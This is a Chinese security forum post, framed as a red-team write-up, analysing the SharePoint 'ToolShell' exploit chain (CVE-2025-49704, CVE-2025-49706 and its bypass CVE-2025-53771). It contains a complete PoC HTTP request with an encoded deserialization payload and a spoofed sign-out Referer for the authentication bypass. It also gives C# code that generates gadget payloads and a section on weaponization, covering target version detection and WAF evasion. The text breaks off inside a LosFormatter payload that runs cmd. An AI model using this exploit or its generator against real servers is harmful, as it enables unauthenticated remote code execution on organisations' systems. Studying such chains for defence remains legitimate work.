问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
活动
摸鱼办
搜索
登录
注册
SharePoint漏洞利用路径的红队化拆解
漏洞分析
sharepoint-toolshell
0x00 环境搭建 --------- <https://www.alibabacloud.com/help/tc/ecs/use-cases/install-sharepoint-2016> WindowsServer 2016 sharepoint 16.0.10337.12109 0x01 漏洞复现 --------- ### Poc ```http POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1 Host: 192.168.0.104:44946 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Referer: /_layouts/SignOut.aspx Content-Type: application/x-www-form-urlencoded Content-Length: 7003 MSOTlPn_Uri=http%3a//192.168.0.104%3a44946/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22iabkxcni%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22obsajjosoict%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3ciabkxcni%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3cobsajjosoict%3aExcelDataSet%20CompressedDataTable%3d%22H4sIANvgkmgAA9Va23LjSHKdscMb9qzf/AMKPU%2b3AFLsGXWoO4IgWRDZIiSARIHAxkQsbi2QBEAO7%2bLv%2bAv9BfbJLPDSt%2bmZWe%2bsrQ5RbBaqMvPkyVNZAL/59ptvvvlv/NBf%2bvn3f8KLNXhertLiZTtchd9fyHSxHM/KN9cvNfr3/UVrna/Wi/RNma5XizD//uJxHeXj%2bF36PJxN0/JN9MMPYSNuvNJv6tep9uPNv9Di/3G2Jr8M0hXZ%2brdRkQ/iLC3CP%2bNde/z%2bvbkIi2%2b/pbE//TNe/utfb3fL10u%2b5GJX5OXyzeWlevN6h/fZajV/fXW13W5fbusvZ4unq5qm6Vej/r1a9nBtsUxg9c3lelFWqy1fFON4MVvO3q9exLPiNa57oa66vBgnby6X4/KpzMbZfD2P8mRTXr797uKCnEnztEjL1UUZFulnLrtQi7zuLqs431yuFuv0%2bLm7TFvrxQIr3M/iME%2brYVqdfsgC3Jnn6W74PE8PHx%2bHstk4Ti%2bKcfkQx%2bsFENCwcrg7/G9dRrN1maTJ5fnMw%2bwPXd8k78dRMs/2s1k0fz9efzLlK/58fNky/XmdlvEXr/m8F6uijMbrOFmX6%2bQIEkFH5t5cVsRpzfI8jVdg4vKlmZbpYhy/vB8vV3/V//KXc24N0sUGAC1fdstVuijD/GVnNw8JEG8Rzufp4q%2b14wQvjV663Zf3s6WYLYpwhQnfX5zGfg/3tfr7xvsf3ut60tDCevjT90db4zKZbZfKyYdogljo7eNithknZPdxkS4BSkghCtRAup0tpr/Dhboeva//2HgVJvVX12m98dNPx5g%2bAOh/obJ/%2bunyYsVJQlLD8pkSdvkhNa%2b%2byJerrxCGL/gF4vF4xaQPiuTqWCXHkvrMUh9OV96wLLz97k8kPv8pbhOo0dPitfoTFr9LSNQctcTX5hwMvdjoVSXefiwup0BvPy7ei8pdkq5hGOUnwVnMtg8LcIyloroqC5etLCyfUmRpXC7TxeoTxbg9L8yj4o6/LrkvsOAqRFpPOp38CqH%2blAS3H5Xuw/vzUv20iP4AJy8%2bz%2bejpx3FqC/Q/haektNpgjcIaPWsfVkrb/vpKpslFqTgbRvasBiH%2bXif3l6dff61yY8hKQnAWv6SJuPyqnr/CASx%2bOuDaiSvl6sFOH759mrbed62tGbTbjabj1f4%2bdFoHn%2b2LXodSKsR1508GmyfZCGf41q%2biSaadj9prvut6%2b19y2gn3k5LRr380Wvkych59r3tsisM3S92c19b5al0NmFNrh%2b9bt2qdXR/79b6w%2bneMt3tQ3sq2H7XNtx6vk9MubqfWpvI3OV%2b3ZlHtcb%2bfprkEWyHXn/t1m6ecc3UrUnNb4vI0w/%2bNYbJXW8eFfGya%2bp7H9dFZj6Gf14w6u1D72b9OLSVz5Pmstux9OjO0ePCvcHaOuZmUWv75N7JMeZNBjXZkObNIvCub/xJXPeHcmIN/d3DsK8Fw%2bb1A6YosGQ7qst10szaUU3f%2bsAhfkqONg031wJP3zeb/abxNLaaRzwbuH63DDxLo%2bvi58ZdAPziIp9w/CMjw/s94j%2btWzR3nr4apiMLa2prt%2b4Ak0aJGFdxzdrEhPf475UnTLGfmBPNJ3qZts/ed%2bjVQIzNZuv/eYwcyv2odu7fdbubH2PqBN4uD2pCC6RFsWTgyyt/xFztIt5pMOr2DOK00emcMPJNes2y7cZ/NrZRPcnj0pphrWW3pYuosDYBeG3XblaRJ9ZBy3hnu7257SbC9qy6XewMR%2bTGcCpasiO6rismgdbb2m6s2XJet73EcNqGMXCFEbrCtF3hJFpvZLtS2NJy7GlgOPXECDqiFU6F8DXx6LpdHes7thR1e2oZzjAzpC5aXkd0HFeMYf9n23UsjJd2cWM4xcoYeklLTkUn1MTQdXt723U12204djE3nI5uSIzHmriDHzLROjvYl7bMHTvPDEfmhl8kLfh31%2b%2bw/Zqy36vbJezXbgxvlLQsVwisH8L/e9sNHKxv2FPYd3XDx/p9rJ9oQsJ%2bB%2bv3EB/8y%2bFfYrg0PhV3Q/gPfAZYf2LLwLBLh%2b1T/D7wCTThBloX/gcLjNd5feAjXcZXRJrwEP8S46UtndIeAV9gIMvEgO2u5Ph6uAZjngC%2bc/ZP5sKIgS/yQ/7VeFzmdXsE/4aOEUjg32H7Dn7r8B/2LcS3An7S8OB/AvueKyzYR%2byBxfFNAmVfE62BJjrAd4T4Ap5/sO9ZRgD/I4X/GPYXsI/8Jwp/XRg%2b%2bAPfTOAzxPydmi/V/JplSCkoPsrvAPOHsB9w/okfU/CP8Dnlf8f4uTrmN4CvMEC3ltXh/GWB1tkyP4hfpQF8EF%2bZtAbAB%2bs4Cn/KP%2bG/MgbgjyeZfwL8oPxj7Rhr3Dh2qfB3wQ9bEyb4OYJ9n%2bd7KLcc%2bHZyjh/5N2HfSzj/8TXwq9t5D%2bPwr36yj/nrI/7lnPND60fgDzhM%2bCj7sgf8JfBdGS7wHwIf5J/iF8DX4PrLA%2bY/4WthPjAeqPrLEB%2buIX57NzzuK/7nNtcP44f5FuIXlH8jdUUH86dYf3Dk3yH/wCHtiDvEF8C/HuLf256D/ErO/1Dn/Jv4pfpHfAnx27FHc1X/4BfmUv17wB/Yyjrjh9pm/mN%2bDH3xVf2NVPyBil/Tuf6BTRf8DBR/EBt4b091rl/Kf9/l/ME%2b5T%2bbcPxT1J%2bbGy7ih30T6yN%2b4j/lP1H8r%2bqP9Ecq/Vmo%2bKWyDx8RP9V/d6jwv%2bP6J/7liG9vcP7BX8o/6ofiS%2brID8YT5m9gJlR/VD8UP/HXUPybGwMT/BeC8Of5WD/D/A3mK/0YGga433I05gf0oyfZvicM5j/45%2baMn4iVfrz6Jf6f%2bEf62%2bP687B%2bVf85xrEHyAnHV%2bZcv8z/U/31jvpL%2bNfVfNJf4h/8Q/06kvVnivoHR3xln/QT/pM%2bJ9aBf4Q/6Y9U%2bCP3FH8w4f1jIoCfpPwb0GfSP9IfjfH1UB/EH9LfWsL6U/Ef/M6gH3nJ8QtpSOAPHyn/hF%2bN9zfCfyhU/kfMfxPxPyA%2b0tce868UKv7yA/5tlX6hfnOD80f6NFT6Q/xvKf2n/c/5jP6IhtJ/4l%2blfzW2T/hDvxh/h/ldIL9arvgHfMBdF/g8H/WH4pfAR57wh/2Nij8p2T7W9zHuagf%2bEf8Doexb7D/hDx2g/JD98Mh/0j/YJ/ypvlyOn/xHfj3sEwXyW1i8fxL/EhV/m/dP5r/afwgf2v98VR/EfzWf6gP1U9k3q/gXzD%2bKb9Jj%2b/Cf7WOdQOkv2Ucclf0h%2bJ9gfbX/dIkfJcdP%2boP6CYTaPzBfBozPh/u/C/3B3IP%2beNx/sP3gmH/sgdT/uEo/5UbhL471H1f1nzD/M4P5R/svapvsQ4NIf8dV/JuD/QHxs8b7O%2bnnJFH4T7j%2byT646Y8Y/wP/9r%2bgP1S/4IeD%2bbQ/Ab999tX6r%2bIn%2b5nqv0i/heI/9J/6h7P67yh8oWHUH6L%2bUF8H/7H/Eb8yyfVD8eecvxZsV/rVJf72FH8E7z/M/ynnn/z/PP86XP%2bkb8i/DJD/kvOPOqT9ra/899yP9Rf8o3HvlP8623f10gY3jvZP9Wep/Y3yr%2brfR39F%2blP1Py7HT/sf64/qf%2bD/Gf8pflxD/Mf%2bRfij/6T6o/39WuW/6v/IPsaxf6P5EYi91%2bf6of770H8q/O/8I/7UX8/rh/6P9j/0D6ZU/Rft/5uj/por5h/6b65/V/EvYP3l/kewflP90XzFP9I/zKf4KX857z/dU/0Fav%2bh%2bA/4T7n/yxLtHH%2bH%2byvyP1L1S/43qv6jpP6d%2bV8c%2b0/i/0zxX6r%2b/7P6m1ncfxa6ih/8PeyfGP9Z4Y/5vP/k3L8j/jtL1d/%2bvP4HON%2bQ/qB/pvoeV/23xfjT/qHnvP%2bhfjj/uKbB%2bxf3PxbHT/7H7rH/36v%2bA/VL9qn/MdX5I1T1TfgEqv4QP/Zv9D/EP5pf9V/An/rPicH8ofiBP%2bl/hT/pD/YfOn8o/Kn%2b7iTnV1yf9L/af9E/uqq/shS/Plv/vL/A/w73H55TV/qr%2bi/0n13q/2A/qPQH%2biLUfGjcgyvaA9VD4vxkORw/9IHyT%2bcf7A%2bEf1DVJ/ZPwl%2bq81m1f8F/rNsBvojNzdX%2bZeJ81lHnB6zvAr8u808i/%2bPq/IJx1JF46GCLcnsP6E%2buuX89G8cZ9rA/D9U4etCzcer/Je/PVN9S8ec0Tv1vB/wD9tx/YZzyL1ifqf4wl%2bbTuKXqk84/BuMv1fnZTFT%2b61X8JfX/A2DnVfEnnB%2bhH8/f0L8BtHUA/YP/BvTtnepPE9VflWp/8nLub0k/8gpfyfNP5/MWOELnL9LXV%2bp8gPpEf2nv1fkjUfUxRfzgf4b6xlih8B/WmH/Ef9IHTZ1/cb6m84uO/qNgfab1pzbXdxUf%2bhcb2jqg/hv8dlR9Y30n4PM16QPi92vJgR/YfwX8px4e50%2bcfY7xwT/kN1T1Wd0/oPjhP/ErUvNhH/uCa2N%2bDv/BX/SotH%2blqr5DxA//%2b9ph/yJ8Md9IVP7GSj/o/Eb9t8Hrk37jmg7wfwy4P6D%2bBvENK/wwHqn7I1LpH%2bEHfhK/UR84Oxuh6s/I/ml92j9J3zy%2b/3DwD/mx6AyNHnBl2LrSZ4pvqPCv8j9X5xvs73R/A/jfKf/JPurHQ3yUf8RP%2bGG8rc5H1P/Gmsrv7oCfgb6OxsFt0l/wg/Qd88/sd6v8Vvd/cqVPtRX390m1f6r7M/CP8B853J9SfknfkD%2b6f9Sq9LPCl/0n%2bwf%2b1Lh/sv07vo9Vs1ZB0xb09jfeD%2bN7ha0OrjdlibHcqOl5YmaboN28izyphebNtG/32829cbz355hyifNqlphyGIx6c9/bzdNC8L3EgXmzDEz5/E47rel4DS0up5vjfeS8lwfF4T7y9XroyZVfyOeB1ygi/Yu%2b/q3ze%2bom6bTHMdsz%2btPhz9p/c2ycB%2bPOacSm2/VH1j7w9HF0NzUTUzwHNal1SieLiyRPBF0jjbhu5ZHXW6Z2Q/NHvTIYOW46MvJhIVaBPV/h/7Oo5jz4np63vU/sGU27i99Ouy9%2bU74XZ/GJqHSeU9u/J9%2bXzd4Jg1Ku/Vpz/4%2b833sv/m/Ydsw8C2qNDTCe%2b/X%2b2r3rbfya3MfP26cjH/%2bezzKetsSs%2b2hkTaJ6bxl6XcQS0D1q4v6NpWzB5vbJrstlciefg6G%2bDkZSiwuxhG924tE86z4Y5W5UW%2bXRRB9b%2bySzvL5uTTqN/t7J%2b%2b2nRuvJt/6gZ0tmm%2b69G/Ov47z1H7m2pEV1orWcpqpbuo/fujlxpJAFamSSmPB13LCo/pCTXlQEG7dGz6jEMhzNMx6fZpvIdPL4Kea1VM3tTjXpNrLIc3t2bZfhM67BlrTm8C9jfO35MPSSNWqLcvvcmuo0L49zrn/bQdysHRpqvy5XAdXstkP1ajSb/W779ByGa97TcSDasjZZSpuu6Y/Jgt5u/AouGkPSmaSVfa5mPvnsne1LWvrxbK8APmVU3IDP%2bSR%2bbthxcTMJoGNdoXB/Jz7zPO/Tz%2bZKY2dGSz1/UnHw%2b%2bT4LKllc7AmP3hp6p/4Z2Q8bwE91/r77hM9e4lJRwe/Or6QFuif4utFpb3vj42jD781nrMHRqZJ7t%2bJo92Df%2bHI2kT/8Odk0z5z6Kn667DPPZWD2f3tVfV4%2bxeel1/9%2bgfmt%2bqbB93q8ffZA%2b3zrydcvr29%2bvDCL3wn4OrXfCng9uo3fhfio%2b9yXJ1/mePsWyRXH3%2bNpPriydWn3zy5vfroCzFvv/vz/wAhdP%2bjQSgAAA%3d%3d%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/iabkxcni%3aUpdateProgress%3e%0a ```  ### 漏洞分析 根据卡巴斯基和Viettel Cyber Security的漏洞分析报告来看一下漏洞原理 <https://blog.viettelcybersecurity.com/sharepoint-toolshell/> <https://securelist.com/toolshell-explained/117045> 这里我们先来分析一下反序列化漏洞, #### CVE-2025-49704 根据分析文章来看,漏洞产生点 `Microsoft.PerformancePoint.Scorecards#Helper` ```c# // Token: 0x06000CEF RID: 3311 RVA: 0x00029058 File Offset: 0x00027258 public static object GetObjectFromCompressedBase64String(string base64String) { if (base64String == null || base64String.Length == 0) { return null; } object result = null; byte[] buffer = Convert.FromBase64String(base64String); using (MemoryStream memoryStream = new MemoryStream(buffer)) { memoryStream.Position = 0L; GZipStream serializationStream = new GZipStream(memoryStream, CompressionMode.Decompress); BinaryFormatter binaryFormatter = new BinaryFormatter(); result = binaryFormatter.Deserialize(serializationStream); } return result; } ``` 利用`dnspy`分析,可以看到在`ExcelDataSet`中进行了调用。  这里我们可以看到`BinaryFormatter.Deserialize`实际上是反序列化一串`XML`的内容。  这串`XML`内容,就是利用到了恶意的`ExpandedWrapper`方法来调用任意的方法,这里就调用到了`LosFormatter#Deserialze`方法, 还有一个疑问,`BinaryFormatter`是用来处理二进制数据的,为什么`BinaryFormatter.Deserialize`可以反序列化`XML`数据呢? 这涉及到了另一个漏洞`CVE-2020-1147`,在`MSRC`中明确指出了`DataSet`和`DataTable`  这里我写了一个`Demo`便于理解 ```c# using System; using System.Collections.Generic; using System.Data; using System.IO; using System.Runtime.Serialization.Formatters.Binary; using System.Windows.Data; class Program { static void Main() { var person = new Person(); var odp = new ObjectDataProvider { ObjectInstance = person, MethodName = "say", }; odp.MethodParameters.Add("hello"); var wrapperType = typeof(ExpandedWrapper<,>).MakeGenericType(typeof(Person), typeof(ObjectDataProvider)); dynamic wrapper = Activator.CreateInstance(wrapperType); wrapper.ExpandedElement = person; wrapper.ProjectedProperty0 = odp; var listType = typeof(List<>).MakeGenericType(wrapperType); dynamic list = Activator.CreateInstance(listType); list.Add(wrapper); DataTable dt = new DataTable("hehe"); dt.Columns.Add("pwn", listType); dt.Rows.Add(list); DataSet ds = new DataSet("somedataset"); ds.Tables.Add(dt); BinaryFormatter bf = new BinaryFormatter(); using (FileStream fs = new FileStream("payload.bin", FileMode.Create)) { bf.Serialize(fs, ds); } BinaryFormatter bf1 = new BinaryFormatter(); using (FileStream fs = new FileStream("payload.bin", FileMode.Open)) { bf1.Deserialize(fs); } } } ```  当遇到`DataSet`的时候,会重写`BinaryFormatter.Serialize`正常序列化的流程,导入写入了XML内容,同样反序列化也如此。 上面`XML`的内容就是利用了`ObjectDataProvider`去调用了`LosFormatter#Deserialize`方法 继续来看一下是如何调用到这个`ExcelSet`组件的。 来看一下`ToolPane.aspx`文件 ```aspx <%@ Assembly Name="Microsoft.SharePoint.ApplicationPages" %> <%@ Page Language="C#" Inherits="Microsoft.SharePoint.ApplicationPages.ToolpanePage" %> <%@ Import Namespace="Microsoft.SharePoint.ApplicationPages" %> <%@ Register Tagprefix="SharePoint" Namespace="Microsoft.SharePoint.WebControls" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register Tagprefix="Utilities" Namespace="Microsoft.SharePoint.Utilities" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Import Namespace="Microsoft.SharePoint" %> <%@ Assembly Name="Microsoft.Web.CommandUI, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <% SPSite spServer = SPControl.GetContextSite(Context); SPWeb spWeb = SPControl.GetContextWeb(Context); %> <%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <html dir="<SharePoint:EncodedLiteral runat='server' text='<%$Resources:wss,multipages_direction_dir_value%>' EncodeMethod='HtmlEncode'/>"> <head> <meta name="GENERATOR" content="Microsoft SharePoint"/> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta http-equiv="Expires" content="0"/> <title id="onetidTitle"><SharePoint:EncodedLiteral runat="server" text="<%$Resources:wss,pagetitle_sharepoint%>" EncodeMethod='HtmlEncode'/></title> <SharePoint:CssLink runat="server"/> <SharePoint:CustomJSUrl runat="server" /> <link type="text/xml" rel='alternate' href="_vti_bin/spdisco.aspx" /> </head> <SharePoint:ScriptLink name="core.js" localizable="false" Defer="true" runat="server" /> <body oncontextmenu = "return false;" onclick = "if(event.shiftKey) {event.returnValue = false; event.cancelBubble = true;}"> <form runat="server"> <asp:ScriptManager id="ScriptManager" runat="server" EnablePageMethods="false" EnablePartialRendering="true" EnableScriptGlobalization="false" EnableScriptLocalization="true" /> <WebPartPages:SPWebPartManager ID="SPWebPartManager" runat="server"/> <WebPartPages:WebPartZone runat="server" ID="ImportedPartZone" /> <WebPartPages:ToolPane runat="server"/> <SharePoint:FormDigest runat="server"/> </form> </body> </html> ``` 其中主要的操作在`Microsoft.SharePoint.WebPartPages`类中 `SelectedAspWebPart`  这里会进入到`GetPartPreviewAndPropertiesFromMarkup`方法中 但是这里是有条件进入的, ```php if (this.InCustomToolPane && this.SPWebPartManager.DisplayMode == WebPartManager.EditDisplayMode) { ``` 要求`InCustomToolPane`和`DisplayMode`是`Edit`,所以我们需要传入`DisplayMode=Edit`来进行设置, `InCustomToolPane`需要通过`Utility.CheckForCustomToolpane`的检查  ```c# public static bool CheckForCustomToolpane(string pagePath) { bool result = false; if (pagePath != null) { result = (pagePath.IndexOf("/_layouts/", StringComparison.OrdinalIgnoreCase) != -1 && pagePath.EndsWith("/ToolPane.aspx", StringComparison.OrdinalIgnoreCase)); } return result; } ``` 要求`pagePath`中必须有`/_layouts/`,以`/ToolPane.aspx`结尾。 所以如果我们想要进入`GetPartPreviewAndPropertiesFromMarkup`函数,路径必须是`/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx` 在这个`GetPartPreviewAndPropertiesFromMarkup`函数中, 这里获取到一个`documentDesigner` ```c# documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, webApplication); ``` 需要指定一个`SharePoint`的页面,继续看一下这个`SharePoint`的页面有什么要求  这里要求必须是`_controltemplates/`开头,`.ascx`结尾。 所以构造`MSOTlPn_Uri=http://sharepoint/_controltemplates/15/AclEditor.ascx` 接下来就会获取到`MSOTlPn_DWP`参数来继续构造组件。 会先实例化一个`ServerElementMarkupSource`类 ```c# ServerElementMarkupSource serverElementMarkupSource = new ServerElementMarkupSource(text); ``` 这部分相当于对我们传入的控件字符串进行一个解析处理。  接着会调用`PageParser#CreateAndInitializeDocumentDesigner`函数 ```c# documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, webApplication); ``` 这里会初始化一个`IServerDocumentDesigner`对象,相当于一个`ASP.NET`的页面解析沙箱。 最后会进入到`documentDesigner.CreateNestedElementDesigner`函数中进行解析 ```php IServerElementDesigner serverElementDesigner = documentDesigner.CreateNestedElementDesigner(serverElementMarkupSource, parentElement, 0, true); ``` 其中会进入到一个`ParseControlsInternalHelper`函数中,在这个函数中会进行一个`BuildObject`的操作,从而触发到`DataTable`的构造函数其中的`GetObjectFromCompressedBase64String`函数  这部分的插件调用其实可以参考微软的官方文档 <https://learn.microsoft.com/zh-cn/previous-versions/office/developer/sharepoint-2010/hh228018(v=office.14>) #### CVE-2025-49706 根据文章来看,发现漏洞的点在`PostAuthenticateRequestHandler`方法中 关键代码如下 ```c# if (!context.User.Identity.IsAuthenticated) { if (flag5) { if (this.RequestPathIndex == SPRequestModule.PathIndex._layouts) { Uri uri2 = null; try { uri2 = context.Request.UrlReferrer; } catch (UriFormatException) { } if (uri2 != null) { string absolutePath = uri2.AbsolutePath; if (SPRequestModule.s_LoginUrl == null) { ULS.SendTraceTag(2470943U, ULSCat.msoulscat_WSS_Runtime, ULSTraceLevel.Unexpected, "LoginUrl is unset for request to '{0}'.", new object[] { SPAlternateUrl.ContextUri }); } else if (absolutePath.EndsWith(SPRequestModule.s_LoginUrl, StringComparison.OrdinalIgnoreCase) && (text3.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || text3.EndsWith(".js", StringComparison.OrdinalIgnoreCase))) { context.SkipAuthorization = true; } } } } else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous) { if (flag3) { ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[] { SPAlternateUrl.ContextUri }); } SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException()); } else if (flag6) { HttpCookie httpCookie = context.Request.Cookies[SPSecurity.CookieWssKeepSessionAuthenticated]; HttpCookie httpCookie2 = context.Request.Cookies[SPSecurity.CookieWssKeepAuthenticated]; if ((httpCookie != null && SPUtility.StsCompareStrings(httpCookie.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue)) || (httpCookie2 != null && SPUtility.StsCompareStrings(httpCookie2.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue) && !flag2)) { SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException()); } } } ``` 其重点就是`flag7`,`flag7`是是否允许设置匿名访问,我们这里默认为`false`,所以会直接返回`401` ```c# else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous) { if (flag3) { ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[] { SPAlternateUrl.ContextUri }); } SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException()); } ``` 但是我们可以看一下前面 ```c# bool flag7 = false; string text3 = context.Request.FilePath.ToLowerInvariant(); if (flag6) { Uri uri = null; try { uri = context.Request.UrlReferrer; } catch (UriFormatException) { } if (this.IsShareByLinkPage(context) || this.IsAnonymousVtiBinPage(context) || this.IsAnonymousDynamicRequest(context) || context.Request.Path.StartsWith(this.signoutPathRoot) || context.Request.Path.StartsWith(this.signoutPathPrevious) || context.Request.Path.StartsWith(this.signoutPathCurrent) || context.Request.Path.StartsWith(this.startPathRoot) || context.Request.Path.StartsWith(this.startPathPrevious) || context.Request.Path.StartsWith(this.startPathCurrent) || (uri != null && (SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathRoot) || SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathPrevious) || SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathCurrent)))) { flag6 = false; flag7 = true; } } ``` 其中如果`referer`是 - /\_layouts/SignOut.aspx - /\_layouts/14/SignOut.aspx - /\_layouts/15/SignOut.aspx  则可以将`flag7`设置为`true`,从而允许匿名访问,不会立即发送`401` 我们的目标是访问`toolpane.aspx`,这并不会通过每个页面的检查, `SharePoint`中使用的网页有一些基本类型,其中`toolpane.aspx`使用的是`WebPartPage`它将会在生命周期的某个时间内进行身份验证。 在`FormOnLoad`事件中进行了身份检查,所以仍然会返回`401`  会进入到`contextWeb.Request.RenderFormDigest(bstrUrl, spstringCallback);`  那我们是怎么进入到`GetPartPreviewAndPropertiesFromMarkup`中的呢? 如果想要绕过`OnLoad`事件之前的鉴权,就需要在这个事件触发之前进入到`GetPartPreviewAndPropertiesFromMarkup`函数。 这里就涉及到了`ASP.NET`的生命周期 <https://learn.microsoft.com/en-us/previous-versions/aspnet/ms178472(v=vs.100)#life-cycle-events> 在`OnLoad`事件之前,`InitComplete`事件之后,会自动触发`GetPartPreviewAndPropertiesFromMarkup`函数。 #### CVE-2025-53771 正是上面漏洞的一个绕过,正如卡巴斯基团队所分析的那样,使用`ToolPane.aspx/`就可以进行绕过  0x02 对武器化一些思考 ------------- 第一点,部分武器化的利用代码,是检测了`/_layouts/15/error.aspx`来检测版本从而决定是否利用`EXP`,但是这并不对,因为我们在未开启匿名访问的时候,访问`/_layouts/15/error.aspx`是`401`状态,  那我们应该检测什么呢?在看`msf`中的`pr`时,我发现有人提起`start.aspx`,碰巧在上面设置`referer`头的时候也看到了这个,  在这里,我们可以看到当访问`start.aspx`的时候,也会实现和`referer`头一样的效果。  或者我们在检测`error.aspx`的时候,加上`referer`头设置匿名访问。  第二点,在反序列化的利用过程中,我在测试的时候发现了另外一种反序列化的利用方式,当我们开启两种登录模式的时候,  此时我们访问页面就变成了这样的(这里仍然是未开启匿名访问),  我们不添加`referer`头仍然可以攻击成功。  那这里有什么用呢?或许对某些绕`waf`有一点作用。 第三点,可能是因为我安装的`sharepoint`版本高一些,服务器对`User—Agent`进行了严格的检测,如果不添加是没有办法攻击成功的。  0x03 POC的构造 ----------- 我们先来看一下上面能打通的POC ```C# <%@ Register Tagprefix="iabkxcni" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %> <%@ Register Tagprefix="obsajjosoict" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <iabkxcni:UpdateProgress> <ProgressTemplate> <obsajjosoict:ExcelDataSet CompressedDataTable="...." DataTable-CaseSensitive="true" runat="server"/> </ProgressTemplate> </iabkxcni:UpdateProgress> ``` 其重点就是需要去构造`CompressedDataTable`数据,通过上面的分析可以知道`CompressedDataTable`的数据是`BinaryFormatter`反序列化的数据。 所以这里我们直接构造 ```c# using System; using System.Collections.Generic; using System.Data; using System.Data.Services.Internal; using System.IO; using System.IO.Compression; using System.Runtime.Serialization.Formatters.Binary; using System.Web.UI; using System.Windows.Data; namespace SharePointPoc { internal class Program { static void Main(string[] args) { var losFormatter = new LosFormatter(); var odp = new ObjectDataProvider { ObjectInstance = losFormatter, MethodName = "Deserialize", }; odp.MethodParameters.Add("/wEywhEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACS9jIHdpbnZlcgYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9s